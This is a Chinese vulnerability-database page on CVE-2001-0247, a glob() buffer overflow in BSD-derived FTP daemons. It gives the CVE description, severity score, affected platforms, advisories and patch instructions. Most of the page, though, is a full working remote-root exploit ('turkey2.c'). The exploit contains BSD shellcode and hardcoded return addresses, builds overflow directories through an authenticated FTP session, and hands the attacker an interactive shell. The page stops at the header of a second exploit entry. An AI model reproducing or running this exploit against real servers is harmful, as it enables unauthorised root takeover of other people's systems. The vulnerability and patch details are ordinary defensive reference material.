CVE-2001-0247
CVSS10.0
发布时间 :2001-06-18 00:00:00
修订时间 :2011-03-07 21:05:02
NMCOES    

[原文]Buffer overflows in BSD-based FTP servers allows remote attackers to execute arbitrary commands via a long pattern string containing a {} sequence, as seen in (1) g_opendir, (2) g_lstat, (3) g_stat, and (4) the glob0 buffer as used in the glob functions glob2 and glob3.


[CNNVD]多家厂商FTPD glob()函数处理意外情况失败远程缓冲区溢出漏洞(CNNVD-200106-072)

        
        很多系统的FTPD守护程序包含一个glob()函数,它实现文件名的模式匹配,它遵循与Unix Shell同样的扩展原则。
        某些BSD系统的glob()实现其内部处理函数中包含一些缓冲区溢出漏洞,允许本地和远程攻击者在受影响的系统上获取root用户权限。
        这些溢出通常可以通过请求一个可以扩展为超长路径名的模板来触发,也可以设法使FTP守护程序将用户输入的模板通过glob()两次来触发。对于远程用户,如果他们可以在服务器上创建目录,就可以利用这些漏洞;在某些例外情况下,远程用户可以不需要有创建目录的权限。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:freebsd:freebsd:2.2.5FreeBSD 2.2.5
cpe:/o:freebsd:freebsd:3.5.1FreeBSD 3.5.1
cpe:/o:netbsd:netbsd:1.5NetBSD 1.5
cpe:/o:netbsd:netbsd:1.3.2NetBSD 1.3.2
cpe:/o:freebsd:freebsd:2.2.4FreeBSD 2.2.4
cpe:/a:mit:kerberos:5-1.2.1MIT Kerberos 5 1.2.1
cpe:/o:freebsd:freebsd:3.2FreeBSD 3.2
cpe:/o:sgi:irix:6.5.3SGI IRIX 6.5.3
cpe:/o:openbsd:openbsd:2.6OpenBSD 2.6
cpe:/o:freebsd:freebsd:3.5FreeBSD 3.5
cpe:/o:freebsd:freebsd:2.2FreeBSD 2.2
cpe:/o:netbsd:netbsd:1.3NetBSD 1.3
cpe:/o:netbsd:netbsd:1.4NetBSD 1.4
cpe:/o:sgi:irix:6.5.8SGI IRIX 6.5.8
cpe:/o:freebsd:freebsd:4.2FreeBSD 4.2
cpe:/o:openbsd:openbsd:2.4OpenBSD 2.4
cpe:/o:freebsd:freebsd:2.2.6FreeBSD 2.2.6
cpe:/o:netbsd:netbsd:1.4.1NetBSD 1.4.1
cpe:/o:sgi:irix:6.5.3fSGI IRIX 6.5.3f
cpe:/o:netbsd:netbsd:1.3.1NetBSD 1.3.1
cpe:/o:freebsd:freebsd:3.0FreeBSD 3.0
cpe:/o:freebsd:freebsd:2.2.3FreeBSD 2.2.3
cpe:/o:sgi:irix:6.5.5SGI IRIX 6.5.5
cpe:/o:sgi:irix:6.5.4SGI IRIX 6.5.4
cpe:/o:sgi:irix:6.5.10SGI IRIX 6.5.10
cpe:/a:mit:kerberos:5-1.2MIT Kerberos 5 1.2
cpe:/o:freebsd:freebsd:2.2.2FreeBSD 2.2.2
cpe:/o:freebsd:freebsd:4.0FreeBSD 4.0
cpe:/o:sgi:irix:6.1SGI IRIX 6.1
cpe:/o:sgi:irix:6.5.6SGI IRIX 6.5.6
cpe:/o:openbsd:openbsd:2.3OpenBSD 2.3
cpe:/a:mit:kerberos:5_1.1.1MIT Kerberos 5 1.1.1
cpe:/o:freebsd:freebsd:3.4FreeBSD 3.4
cpe:/o:sgi:irix:6.5.11SGI IRIX 6.5.11
cpe:/o:openbsd:openbsd:2.5OpenBSD 2.5
cpe:/a:mit:kerberos:5-1.2.2MIT Kerberos 5 1.2.2
cpe:/o:sgi:irix:6.5.2mSGI IRIX 6.5.2m
cpe:/o:openbsd:openbsd:2.7OpenBSD 2.7
cpe:/o:freebsd:freebsd:2.2.8FreeBSD 2.2.8
cpe:/o:netbsd:netbsd:1.4.2NetBSD 1.4.2
cpe:/o:freebsd:freebsd:3.1FreeBSD 3.1
cpe:/o:netbsd:netbsd:1.2.1NetBSD 1.2.1
cpe:/o:sgi:irix:6.5.3mSGI IRIX 6.5.3m
cpe:/o:sgi:irix:6.5.7SGI IRIX 6.5.7
cpe:/o:freebsd:freebsd:4.1FreeBSD 4.1
cpe:/o:netbsd:netbsd:1.3.3NetBSD 1.3.3
cpe:/o:openbsd:openbsd:2.8OpenBSD 2.8
cpe:/o:freebsd:freebsd:4.1.1FreeBSD 4.1.1
cpe:/o:sgi:irix:6.5.1SGI IRIX 6.5.1
cpe:/o:freebsd:freebsd:3.3FreeBSD 3.3
cpe:/o:netbsd:netbsd:1.4.3NetBSD 1.4.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0247
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0247
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-072
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-2001-07.html
(VENDOR_ADVISORY)  CERT  CA-2001-07
http://www.securityfocus.com/bid/2548
(VENDOR_ADVISORY)  BID  2548
http://archives.neohapsis.com/archives/freebsd/2001-04/0466.html
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-01:33
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/advisories/NetBSD-SA2000-018.txt.asc
(PATCH)  NETBSD  NetBSD-SA2000-018
http://xforce.iss.net/static/6332.php
(UNKNOWN)  XF  ftp-glob-expansion(6332)
http://www.nai.com/research/covert/advisories/048.asp
(UNKNOWN)  NAI  20010409 Globbing Vulnerabilities in Multiple FTP Daemons
ftp://patches.sgi.com/support/free/security/advisories/20010802-01-P
(UNKNOWN)  SGI  20010802-01-P

- 漏洞信息

多家厂商FTPD glob()函数处理意外情况失败远程缓冲区溢出漏洞
危急 边界条件错误
2001-06-18 00:00:00 2005-10-20 00:00:00
远程  
        
        很多系统的FTPD守护程序包含一个glob()函数,它实现文件名的模式匹配,它遵循与Unix Shell同样的扩展原则。
        某些BSD系统的glob()实现其内部处理函数中包含一些缓冲区溢出漏洞,允许本地和远程攻击者在受影响的系统上获取root用户权限。
        这些溢出通常可以通过请求一个可以扩展为超长路径名的模板来触发,也可以设法使FTP守护程序将用户输入的模板通过glob()两次来触发。对于远程用户,如果他们可以在服务器上创建目录,就可以利用这些漏洞;在某些例外情况下,远程用户可以不需要有创建目录的权限。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 如果您不需要FTP服务,就暂时关闭FTP服务;
        * 禁止匿名用户拥有可写目录。
        厂商补丁:
        FreeBSD
        -------
        FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-01:33)以及相应补丁:
        FreeBSD-SA-01:33:globbing vulnerability in ftpd
        链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:33.asc
        补丁下载:
        用以下命令获取补丁:
        FreeBSD 4.x:
        # fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch
        # fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc
        FreeBSD 3.x:
        # fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch
        # fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc
        用以下命令安装:
        # cd /usr/src
        # patch -p < /path/to/patch
        # cd /usr/src/lib/libc
        # make all install
        # cd /usr/src/libexec/ftpd
        # make all install
        NetBSD
        ------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Release CVS branch SUP collection FTP directory
        -------------------------------------------------------------------
        1.4 netbsd-1-4 release-1-4 /pub/NetBSD/NetBSD-release-1-4
        1.5 netbsd-1-5 release-1-5 /pub/NetBSD/NetBSD-release-1-5
        current HEAD current /pub/NetBSD/NetBSD-current
        OpenBSD
        -------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.8/common/025_glob.patch
        RedHat
        ------
        RedHat已经为此发布了一个安全公告(RHSA-2001:060-04)以及相应补丁:
        RHSA-2001:060-04:Updated Kerberos 5 packages available
        链接:https://www.redhat.com/support/errata/RHSA-2001-060.html
        补丁下载:
        Red Hat Linux 6.2:
        SRPMS:
        ftp://updates.redhat.com/6.2/en/os/SRPMS/krb5-1.1.1-27.src.rpm
        alpha:
        ftp://updates.redhat.com/6.2/en/os/alpha/krb5-configs-1.1.1-27.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/krb5-devel-1.1.1-27.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/krb5-libs-1.1.1-27.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/krb5-server-1.1.1-27.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/krb5-workstation-1.1.1-27.alpha.rpm
        i386:
        ftp://updates.redhat.com/6.2/en/os/i386/krb5-configs-1.1.1-27.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/krb5-devel-1.1.1-27.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/krb5-libs-1.1.1-27.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/krb5-server-1.1.1-27.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/krb5-workstation-1.1.1-27.i386.rpm
        sparc:
        ftp://updates.redhat.com/6.2/en/os/sparc/krb5-configs-1.1.1-27.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/krb5-devel-1.1.1-27.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/krb5-libs-1.1.1-27.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/krb5-server-1.1.1-27.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/krb5-workstation-1.1.1-27.sparc.rpm
        Red Hat Linux 7.0:
        SRPMS:
        ftp://updates.redhat.com/7.0/en/os/SRPMS/krb5-1.2.2-5.src.rpm
        alpha:
        ftp://updates.redhat.com/7.0/en/os/alpha/krb5-devel-1.2.2-5.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/krb5-libs-1.2.2-5.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/krb5-server-1.2.2-5.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/krb5-workstation-1.2.2-5.alpha.rpm
        i386:
        ftp://updates.redhat.com/7.0/en/os/i386/krb5-devel-1.2.2-5.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/krb5-libs-1.2.2-5.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/krb5-server-1.2.2-5.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/krb5-workstation-1.2.2-5.i386.rpm
        Red Hat Linux 7.1:
        SRPMS:
        ftp://updates.redhat.com/7.1/en/os/SRPMS/krb5-1.2.2-5.src.rpm
        i386:
        ftp://updates.redhat.com/7.1/en/os/i386/krb5-devel-1.2.2-5.i386.rpm
        ftp://updates.redhat.com/7.1/en/os/i386/krb5-libs-1.2.2-5.i386.rpm
        ftp://updates.redhat.com/7.1/en/os/i386/krb5-server-1.2.2-5.i386.rpm
        ftp://updates.redhat.com/7.1/en/os/i386/krb5-workstation-1.2.2-5.i386.rpm
        可使用下列命令安装补丁:
        rpm -Fvh [文件名]
        Sun
        ---
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        补丁下载:
        
        http://sunsolve.sun.com/securitypatch

        操作系统及修补丁号对应情况:
        系统版本 补丁号
        _________ _________
        SunOS 5.8&nbs

- 漏洞信息 (20731)

FreeBSD 2.2-4.2,NetBSD 1.2-4.5,OpenBSD 2.x ftpd glob() Buffer Overflow (EDBID:20731)
bsd remote
2001-04-14 Verified
0 fish stiqz
N/A [点击下载]
source: http://www.securityfocus.com/bid/2548/info


The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.

During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.

It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.

Any attacker to successfully exploit this vulnerability would gain root access on the target host. 

/* 
 * turkey2.c - "gobble gobble"
 *
 * REMOTE ROOT EXPLOIT FOR BSD FTPD
 *   by: fish stiqz <fish@analog.org>   04/14/2001
 *
 * shouts: trey, dono, hampton and The Analog Organization.
 *         
 * Notes:
 *  Doesn't break chroot so requires an account.
 * 
 *  Fixed a design issue I had previously overlooked.
 *  Added support for OpenBSD 2.8 =).
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#include <pwd.h>


#define FTP_PORT 21
#define MAXX(a,b) ((a) < (b) ? (b) : (a))

#define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */

extern int errno;

int debug_read;
int debug_write;


/*
 * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
 * and does not contain any '/' characters. 
 */
char bsdcode[] = 
"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
"\x29\xc0\x50\xbf\x66\x69\x73\x68"
"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
"\x56\x89\xe3\x50\x54\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";


/* architecture structure */
struct arch {
    char *description;
    char *shellcode;
    unsigned long code_addr;
};


/* available targets */
struct arch archlist[] = 
{
    { "FreeBSD 4.X (FTP server (Version 6.00LS))", bsdcode, 0xbfbfc2c8 },
    { "OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))", bsdcode, 0xdfbfa1c8 }
};


/*
 * function prototypes.
 */
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
ssize_t write_sock(int, char *);
int sock_readline(int, char *, int);
char *read_sock(int);
int ftp_login(int, char *, char *);
char *ftp_gethomedir(int);
int ftp_mkdir(int, char *);
int ftp_chdir(int, char *);
int ftp_quit(int);
void possibly_rooted(int);
char *random_string(void);
void send_glob(int, char *);
int ftp_glob_exploit(int, char *, unsigned long, char *);
int verify_shellcode(char *);
void usage(char *);
void list_targets(void);


/* 
 * Error cheq'n wrapper for malloc.
 */
void *Malloc(size_t n)
{
    void *tmp;
    
    if((tmp = malloc(n)) == NULL)
    {
        fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/*
 * Error cheq'n realloc.
 */
void *Realloc(void *ptr, size_t n)
{
    void *tmp;
    
    if((tmp = realloc(ptr, n)) == NULL)
    {
        fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
        exit(EXIT_FAILURE);
    }

    return tmp;
}


/* 
 * Error cheq'n strdup.
 */
char *Strdup(char *str)
{
    char *s;

    if((s = strdup(str)) == NULL)
    {
        fprintf(stderr, "strdup failed! exiting...\n");
        exit(EXIT_FAILURE);
    }
    
    return s;
}


/*
 * translates a host from its string representation (either in numbers 
 * and dots notation or hostname format) into its binary ip address
 * and stores it in the in_addr struct passed in.
 *
 * return values: 0 on success, != 0 on failure.
 */
int get_ip(struct in_addr *iaddr, char *host)
{
    struct hostent *hp;
    
    /* first check to see if its in num-dot format */
    if(inet_aton(host, iaddr) != 0)
	return 0;

    /* next, do a gethostbyname */
    if((hp = gethostbyname(host)) != NULL)
    {
	if(hp->h_addr_list != NULL)
	{
	    memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
	    return 0;
	}
	return -1;
    }

    return -1;
}


/*
 * initiates a tcp connection to the specified host (either in 
 * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
 * to the host's tcp port.
 *
 * return values:  != -1 on success, -1 on failure.
 */
int tcp_connect(char *host, unsigned int port)
{
    int sock;
    struct sockaddr_in saddress;
    struct in_addr *iaddr;

    iaddr = Malloc(sizeof(struct in_addr));

    /* write the hostname information into the in_addr structure */
    if(get_ip(iaddr, host) != 0)
	return -1;

    saddress.sin_addr.s_addr = iaddr->s_addr;
    saddress.sin_family      = AF_INET;
    saddress.sin_port        = htons(port);
        
    /* create the socket */
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	return -1;
	
    /* make the connection */
    if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
    {
	close(sock);
	return -1;
    }
   
    /* everything succeeded, return the connected socket */
    return sock;
}


/*
 * a wrapper for write to enable us to do some debugging.
 */
int write_sock(int fd, char *buf)
{
    if(debug_write)
 	printf(" > %s", buf);

    return write(fd, buf, strlen(buf));
}

/*
 * reads a line from the socket, stores it into buffer,
 * doesnt null terminate.
 */
int sock_readline(int sock, char *buffer, int maxsize) 
{
    int x, r;
    char rchar;
    
    for(x = 0; x < maxsize; x++) 
    {
	/* read in one character from the socket */
	if((r = read(sock, &rchar, 1)) == 1)
	{
	    buffer[x] = rchar;
	    
	    if(rchar == '\n') 
		break;
	}
	else 
	    return -1;
    } 

    return x;  
}

/*
 * reads in an entire message from the ftp server.
 */
char *read_sock(int sock)
{
    char ibuf[8192], *bigbuf = NULL;
    int r;
    unsigned int total = 0;

    for(;;)
    {
	memset(ibuf, 0x0, sizeof(ibuf));
	r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);
	
	bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));
	memcpy(bigbuf + total, ibuf, strlen(ibuf));
	bigbuf[total + strlen(ibuf)] = 0x0;
	total += strlen(ibuf);

	if(strlen(ibuf) < 4)
	    break;

	/* multi-lined responses have a dash as the 4th character */
	if(ibuf[3] != '-')
	    break;
    }
   
    if(debug_read)
    {
	printf(" < %s", bigbuf);
	fflush(stdout);
    }

    return bigbuf;
    
}


/*
 * FTP LOGIN function.  Issues a "USER <username> and then "PASS <password>"
 * to login to the remote host and checks that command succeeded.
 */
int ftp_login(int sock, char *username, char *password)
{
    char *recvbuf;
    char *sendbuf;
    char *header;

    header = read_sock(sock);
    printf("\tserver runs:\t%s", header);
    free(header);
    
    sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) * 
		     sizeof(char));

    sprintf(sendbuf, "USER %s\n", username);
    
    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);

    if(atoi(recvbuf) != 331)
    {
	free(recvbuf);
	return 0;
    }

    sprintf(sendbuf, "PASS %s\n", password);
    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);

    if(atoi(recvbuf) != 230)
    {
	free(recvbuf);
	return 0;
    }
    
    free(sendbuf);
    return 1;
   
}


/* 
 * FTP GET HOME DIR function.  Issues a "CWD ~" and "PWD" to 
 * force the ftp daemon to print our our current directory.
 */
char *ftp_gethomedir(int sock)
{
    char *recvbuf;
    char *homedir = NULL;
  
    write_sock(sock, "CWD ~\n");
    recvbuf = read_sock(sock);

    if(atoi(recvbuf) == 250)
    {
	write_sock(sock, "PWD\n");
	recvbuf = read_sock(sock);

	if(atoi(recvbuf) == 257)
	{
	    char *front, *back;

	    front = strchr(recvbuf, '"');
	    front++;
	    back = strchr(front, '"');
	    
	    homedir = Malloc((back - front) * sizeof(char));
	    strncpy(homedir, front, (back - front));
	    homedir[(back - front)] = 0x0;
	}
    }

    free(recvbuf);
    return homedir;
}


/*
 * FTP MKDIR function.  Issues an "MKD <dirname>" to create a directory on
 * the remote host and checks that the command succeeded.
 */
int ftp_mkdir(int sock, char *dirname)
{
    char *recvbuf;
    char *sendbuf;
  
    sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
    sprintf(sendbuf, "MKD %s\n", dirname);

    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);
    
    free(sendbuf);

    if(atoi(recvbuf) == 257)
    {
	free(recvbuf);
	return 1;
    }
    
    free(recvbuf);
    return 0;
}


/*
 * FTP CWD function.  Issues a "CWD <dirname>" to change directory on
 * the remote host and checks that the command succeeded.
 */
int ftp_chdir(int sock, char *dirname)
{
    char *recvbuf;
    char *sendbuf;
  
    sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
    sprintf(sendbuf, "CWD %s\n", dirname);
    
    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);
    
    free(sendbuf);

    if(atoi(recvbuf) == 250)
    {
	free(recvbuf);
	return 1;
    }

    free(recvbuf);
    return 0;
}
    

/*
 * FTP QUIT function.  Issues a "QUIT" to terminate the connection.
 */
int ftp_quit(int sock)
{
    char *recvbuf;
   
    write_sock(sock, "QUIT\n");
    recvbuf = read_sock(sock);
    free(recvbuf);
      
    close(sock);
    return 1;
}

/*
 * switches between the user and the remote shell (if everything went well).
 */
void possibly_rooted(int sock)
{
    char banner[] = 
	"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
	"enter commands at will; echo;\n\n";
	
    char buf[1024];
    fd_set fds;
    int r;

    write(sock, banner, strlen(banner));

    for(;;)
    {
        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sock, &fds);
        select(255, &fds, NULL, NULL, NULL);

        if(FD_ISSET(sock, &fds))
        {
            memset(buf, 0x0, sizeof(buf));
            r = read (sock, buf, sizeof(buf) - 1);
            if(r <= 0)
            {
                printf("Connection closed.\n");
                exit(EXIT_SUCCESS);
            }
            printf("%s", buf);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            memset(buf, 0x0, sizeof(buf));
            read(fileno(stdin), buf, sizeof(buf) - 1);
            write(sock, buf, strlen(buf));
        }
    }
    close(sock);
}


/*
 * generates a string of 6 random characters.
 * this is too allow for multiple successful runs, best way to do
 * this is to actually remove the created directories.
 */
char *random_string(void)
{
    int i;
    char *s = Malloc(7 * sizeof(char));

    srand(time(NULL));
    for(i = 0; i < 6; i++)
        s[i] = (rand() % (122 - 97)) + 97;
    
    s[i] = 0x0;
    return s;
}


/*
 * sends the glob string, to overflow the daemon.
 */
void send_glob(int sock, char *front)
{
    char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
    int i, j;
    
    for(i = 6, j = 0; i < 6 + 6; i++, j++)
	globbed[i] = front[j];
    
    write_sock(sock, globbed);
    
    printf("[5] Globbed commands sent.\n");
    free(front);

    /* start our shell handler */
    possibly_rooted(sock);
}


/*
 * Exploitation routine.
 * Makes 4 large directories and then cwd's to them.
 */
int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)
{
    char dir[300];
    int i = 0, j = 0;
    int total = strlen(homedir) + 1;
    int align;
    char *rstring = random_string();

    /* go to the writeable directory */
    if(!ftp_chdir(sock, homedir))
    {
	fprintf(stderr, "[-] Failed to change directory, aborting!\n");
	return 0;
    }

    for(i = 0; i < 4; i++)
    {
	memset(dir, 0x0, sizeof(dir));

	switch(i)
	{
	case 0: /* first dir == shellcode */
	    memcpy(dir, rstring, strlen(rstring));
	    memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
	    memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));
	    break;

	case 3: /* address buffer */
	    /* calculate the alignment */
	    align = total % sizeof(long);
	    align = sizeof(long) - align;

	    printf("[3] Calculated alignment = %d, total = %d\n", 
		   align, total);

	    strcpy(dir, "XXXX");
	    memset(dir + 4, 'X', align);
	   
	    for(j = 4 + align; j < 250; j += 4)
	    {
		/* leet portable bit shifting */
		/*   brought to you by trey   */
		unsigned long p_addy = htonl(addy);
		dir[j + 0] = p_addy & 0xff;
		dir[j + 1] = (p_addy & 0xff00) >> 8;
		dir[j + 2] = (p_addy & 0xff0000) >> 16;
		dir[j + 3] = (p_addy & 0xff000000) >> 24;
	    }
	    break;
	
	default: /* cases 1 and 2, extra overflow bytes */
	    memset(dir, 'X', 255);
	    break;

	}

	total += strlen(dir) + 1;

	if(!ftp_mkdir(sock, dir))
	{
	    fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
	    return 0;
	}
	
	if(!ftp_chdir(sock, dir))
	{
	    fprintf(stderr, "[-] Failed to change directory, aborting!\n");
	    return 0;
	}
    }

    printf("[4] Evil directories created.\n");
    
    if(!ftp_chdir(sock, homedir))
    {
	fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
	return 0;
    }
    
    /* perform the final attack */
    send_glob(sock, rstring);
	
    return 1;
}


/*
 * returns true if the shellcode passes, false otherwise.
 */
int verify_shellcode(char *code)
{
    int i, s = 0;

    if(strlen(code) > 255)
    {
	fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
	return 0;
    }
    
    for(i = 0; i < strlen(code); i++)
    {
	if(code[i] == '/')
	    s++;
    }

    if(s > 0)
    {
	fprintf(stderr, 
		"[-] Shellcode contains %u slash characters, aborting\n", s);
	return 0;
    }
    
    return 1;
}


/*
 * displays the usage message and exits.
 */
void usage(char *p)
{
    fprintf(stderr, 
	    "BSD ftpd remote exploit by fish stiqz <fish@analog.org>\n"
	    "usage: %s [options]\n"
	    "\t-c\tremote host to connect to\n"
	    "\t-o\tremote port to use\n"
	    "\t-u\tremote username\n"
	    "\t-p\tremote password\n"
	    "\t-i\tget the password interactively\n"
	    "\t-t\tpredefined target (\"-t list\" to list all targets)\n"
	    "\t-d\twriteable directory\n"
	    "\t-l\tshellcode address\n"
	    "\t-v\tdebug level [0-2]\n"
	    "\t-s\tseconds to sleep after login (debugging purposes)\n"
	    "\t-h\tdisplay this help\n", p);
    
    exit(EXIT_FAILURE);
}

/* 
 * lists all available targets.
 */
void list_targets(void)
{
    int i;
    
    printf("Available Targets:\n");

    for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) 
        printf("%i: %s\n", i, archlist[i].description);
    
    return;
}


int main(int argc, char **argv)
{
    int sock, c; 
    int port       = FTP_PORT;
    int debuglevel = 0;
    char *host     = NULL;
    char *username = NULL;
    char *password = NULL;
    
    struct arch *arch       = NULL;
    char *shellcode         = bsdcode;
    int target              = 0;
    int sleep_time          = 0;
    unsigned long code_addr = 0;
    char *homedir           = NULL;;
    
    /* grab command line parameters */
    while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
    {
	switch(c)
	{
	case 'c':
	    host = Strdup(optarg);
	    break;

	case 'o':
	    port = atoi(optarg);
	    break;
	    
	case 'u':
	    username = Strdup(optarg);
	    break;
	    
	case 'p':
	    password = Strdup(optarg);
	    /* hide the password from ps */
	    memset(optarg, 'X', strlen(optarg));
	    break;

	case 'i':
	    password = getpass("Enter remote password: ");
	    break;

	case 't':
	    if(strcmp(optarg, "list") == 0)
	    {
		list_targets();
		return EXIT_FAILURE;
	    }
	    
	    target = atoi(optarg);
	    arch = &(archlist[target]);
	    code_addr = ntohl(arch->code_addr);
	    shellcode = arch->shellcode;
	    break;

	case 'd':
	    homedir = Strdup(optarg);
	    break;

	case 'l':
	    code_addr = ntohl(strtoul(optarg, NULL, 0));
	    break;

	case 'v':
	    debuglevel = atoi(optarg);
	    break;

	case 's':
	    sleep_time = atoi(optarg);
	    break;

	default:
	    usage(argv[0]);
	    break;
	}
    }


    /* check for required options */
    if(host == NULL || username == NULL || password == NULL || code_addr == 0)
	usage(argv[0]);

    /* setup the debug level */
    switch(debuglevel)
    {
    case 1:
	debug_read = 1;
	debug_write = 0;
	break;

    case 2:
	debug_read = 1;
	debug_write = 1;
	break;
	
    default:
	debug_read = 0;
	debug_write = 0;
	break;
    }

    /* make sure the shellcode is good */
    if(!verify_shellcode(shellcode))
	return EXIT_FAILURE;
	
    /* initiate the tcp connection to the ftp server */
    if((sock = tcp_connect(host, port)) == -1)
    {
	fprintf(stderr, "[-] Connection to %s failed!\n", host);
	ftp_quit(sock);
	return EXIT_FAILURE;
    }

    if(arch == NULL)
	printf("[0] Connected to host %s.\n", host);
    else
	printf("[0] Connected to host %s\n\tusing type:\t%s.\n", 
	       host, arch->description);


    /* login */
    if(!ftp_login(sock, username, password))
    {
	fprintf(stderr, "[-] Login failed, aborting!\n");
	ftp_quit(sock);
	return EXIT_FAILURE;
    }

    /* hey, so im anal! */
    memset(password, 'X', strlen(password));
    memset(username, 'X', strlen(username));    

    printf("[1] Login succeeded.\n");

    if(sleep != 0)
	sleep(sleep_time);

    if(homedir == NULL)
    {
	/* get home directory */
	if((homedir = ftp_gethomedir(sock)) == NULL)
	{
	    fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
	    ftp_quit(sock);
	    return EXIT_FAILURE;
	}
    }
	
    printf("[2] Home directory retrieved as \"%s\", %u bytes.\n", 
	   homedir, strlen(homedir));

    /* do the exploitation */
    if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
    {
	fprintf(stderr, "[-] exploit failed, aborting!\n");
	ftp_quit(sock);
	return EXIT_FAILURE;
    }
    
      
    free(host);
    return EXIT_SUCCESS;
}
		

- 漏洞信息 (20732)

freebsd 4.2-stable ftpd glob() Buffer Overflow Vulnerabilities (EDBID:20732)
freebsd remote
2001-04-16 Verified
0 Elias Levy
N/A [点击下载]
source: http://www.securityfocus.com/bid/2548/info
 
 
